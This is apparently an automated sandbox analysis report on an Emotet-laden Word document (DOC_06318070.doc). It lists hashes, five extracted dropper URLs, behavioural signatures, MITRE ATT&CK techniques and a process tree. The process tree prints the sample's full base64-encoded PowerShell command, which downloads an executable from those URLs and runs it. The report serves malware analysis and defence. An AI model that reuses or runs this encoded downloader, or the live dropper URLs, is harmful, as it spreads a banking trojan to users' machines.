emotet | 69314a5a40529facfde61bb78562869e4ca9a67ba69a3028d376a265e174ea6c

General

Target
DOC_06318070.doc
Size 170KB
Sample200728-3rndrrx9me
SHA256 69314a5a40529facfde61bb78562869e4ca9a67ba69a3028d376a265e174ea6c
MD5 58ee8e1189b63a1875ef2b5adbde1f5e
SHA1 047aa13b72db07739c601da1fc56eed080584fd4
SHA512 0aa31ce4e649fc4b8aca3f7976077b2f8c30cfe543ae8b233fbf941d43f143be1e965b2a6bb57f15c130a6734ef68e8a88fc413b36b2bb8007442dddbf19b792
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://laboratbahasa.com/wp-admin/2_5jqn_7bc/
exe.dropper
http://www.interibericos.com/mantenimiento/epkxx_b4_xca/
exe.dropper
http://yeandle.co.uk/5t34_ipz_2/
exe.dropper
http://www.wiredmoney.net/wp-includes/9abj_oppb_75xez1i3c0/
exe.dropper
http://www.worldhealthtourismcongress.org/images/nuv7_e9z9x_etch/

Signatures

Blacklisted process makes network request 1 IoCs

flow	pid	Process
16	3728	powersheLL.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1500 wrote to memory of 1840	1500	565.exe	76
PID 1500 wrote to memory of 1840	1500	565.exe	76
PID 1500 wrote to memory of 1840	1500	565.exe	76

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious use of SetWindowsHookEx 16 IoCs

pid	Process
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
1500	565.exe
1500	565.exe
1840	KBDSYR1.exe
1840	KBDSYR1.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
976	WINWORD.EXE
976	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3728	2560	powersheLL.exe	68

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3728	powersheLL.exe

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3728	powersheLL.exe
3728	powersheLL.exe
3728	powersheLL.exe
1840	KBDSYR1.exe
1840	KBDSYR1.exe
1840	KBDSYR1.exe
1840	KBDSYR1.exe

Executes dropped EXE 2 IoCs

pid	Process
1500	565.exe
1840	KBDSYR1.exe

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1500-9-0x00000000022D0000-0x00000000022DC000-memory.dmp	emotet
behavioral2/memory/1840-12-0x0000000000720000-0x000000000072C000-memory.dmp	emotet

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\fontdrvhost\KBDSYR1.exe	565.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DOC_06318070.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:976

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JAB6AGUAZQBjAGgAcQB1AG8AaQBkAGoAbwBlAG4APQAnAGcAaQBlAGwAdgBlAGkAZwBiAGUAZQBnAHYAbwBhAGMAaAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwB1AFIAaQBgAFQAWQBgAHAAUgBPAFQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAYwBoAG8AdQBmAHgAZQBhAHYAIAA9ACAAJwA1ADYANQAnADsAJAB5AG8AYQBqAGcAdQB1AGwAdgBvAGEAdgA9ACcAYwBlAGUAawBjAGgAZQBvAHEAdQBjAG8AYQB5AHQAZQB1AGwAJwA7ACQAYgBhAGwAbABvAHAAYgBpAGUAegBqAGkAYwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYwBoAG8AdQBmAHgAZQBhAHYAKwAnAC4AZQB4AGUAJwA7ACQAcQB1AGEAZwBoAHUAYQBuAD0AJwB3AGEAdQBjAGgAYwBoAGEAZQBjAGgAJwA7ACQAcgBpAGgAZgBhAGUAcAA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAFQALgBXAEUAYgBjAEwAaQBFAE4AdAA7ACQAeQB1AHUAYwBuAGUAYQB3AGcAdQBhAGQAegBvAHkAPQAnAGgAdAB0AHAAcwA6AC8ALwBsAGEAYgBvAHIAYQB0AGIAYQBoAGEAcwBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwAyAF8ANQBqAHEAbgBfADcAYgBjAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AaQBuAHQAZQByAGkAYgBlAHIAaQBjAG8AcwAuAGMAbwBtAC8AbQBhAG4AdABlAG4AaQBtAGkAZQBuAHQAbwAvAGUAcABrAHgAeABfAGIANABfAHgAYwBhAC8AKgBoAHQAdABwADoALwAvAHkAZQBhAG4AZABsAGUALgBjAG8ALgB1AGsALwA1AHQAMwA0AF8AaQBwAHoAXwAyAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AdwBpAHIAZQBkAG0AbwBuAGUAeQAuAG4AZQB0AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AOQBhAGIAagBfAG8AcABwAGIAXwA3ADUAeABlAHoAMQBpADMAYwAwAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AdwBvAHIAbABkAGgAZQBhAGwAdABoAHQAbwB1AHIAaQBzAG0AYwBvAG4AZwByAGUAcwBzAC4AbwByAGcALwBpAG0AYQBnAGUAcwAvAG4AdQB2ADcAXwBlADkAegA5AHgAXwBlAHQAYwBoAC8AJwAuACIAUwBQAGwAYABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABmAGEAbwB0AHcAbwBvAGIAPQAnAGQAaQBhAHAAeQBlAG8AdwBtAGUAYQBnAGoAYQB1AHQAaAAnADsAZgBvAHIAZQBhAGMAaAAoACQAcwBpAGUAbQBjAGgAZQBhAHMAIABpAG4AIAAkAHkAdQB1AGMAbgBlAGEAdwBnAHUAYQBkAHoAbwB5ACkAewB0AHIAeQB7ACQAcgBpAGgAZgBhAGUAcAAuACIAZABgAG8AVwBuAEwAYABPAEEARABGAGkAYABsAEUAIgAoACQAcwBpAGUAbQBjAGgAZQBhAHMALAAgACQAYgBhAGwAbABvAHAAYgBpAGUAegBqAGkAYwApADsAJABiAHUAYQB2AHgAbwBvAGMAegBpAHYAPQAnAGgAaQBhAGMAcwBlAGEAegBmAHUAYQBkACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAYgBhAGwAbABvAHAAYgBpAGUAegBqAGkAYwApAC4AIgBsAEUATgBgAEcAVABIACIAIAAtAGcAZQAgADIAMQAwADkANQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAGUAQQBgAFQARQAiACgAJABiAGEAbABsAG8AcABiAGkAZQB6AGoAaQBjACkAOwAkAGMAaABpAGEAZwByAGUAaQBjAGgAdgBhAGUAZAA9ACcAeQB1AGEAYgB5AGUAaQB4ACcAOwBiAHIAZQBhAGsAOwAkAGgAZQBmAGYAaQBmAHkAaQBvAHMAYwBoAGEAaQBwAD0AJwBzAGkAZQB5AGgAYQBvAHEAdQB0AGgAYQBpAG0AdABoAGUAZQBuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGoAZQBpAHEAdQB2AGkAYQBtAGYAaQBrAD0AJwB2AG8AZQByAG0AZQB1AGwAYwBoAGUAYgAnAA==
1⤵
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3728

C:\Users\Admin\565.exe
C:\Users\Admin\565.exe
1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Drops file in System32 directory
PID:1500
- C:\Windows\SysWOW64\fontdrvhost\KBDSYR1.exe
  "C:\Windows\SysWOW64\fontdrvhost\KBDSYR1.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Suspicious behavior: EnumeratesProcesses
  - Executes dropped EXE
  PID:1840

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/976-6-0x000001C8F00CC000-0x000001C8F00D7000-memory.dmp

Download

memory/976-4-0x000001C8EFA3E000-0x000001C8EFA47000-memory.dmp

Download

memory/976-5-0x000001C8EFA3E000-0x000001C8EFA47000-memory.dmp

Download

memory/976-0-0x000001C8EF8CF000-0x000001C8EF8D4000-memory.dmp

Download

memory/976-3-0x000001C8EFA3E000-0x000001C8EFA47000-memory.dmp

Download

memory/976-2-0x000001C8EFA3E000-0x000001C8EFA47000-memory.dmp

Download

memory/976-1-0x000001C8EFA3E000-0x000001C8EFA47000-memory.dmp

Download

memory/1500-9-0x00000000022D0000-0x00000000022DC000-memory.dmp

Download

memory/1840-12-0x0000000000720000-0x000000000072C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads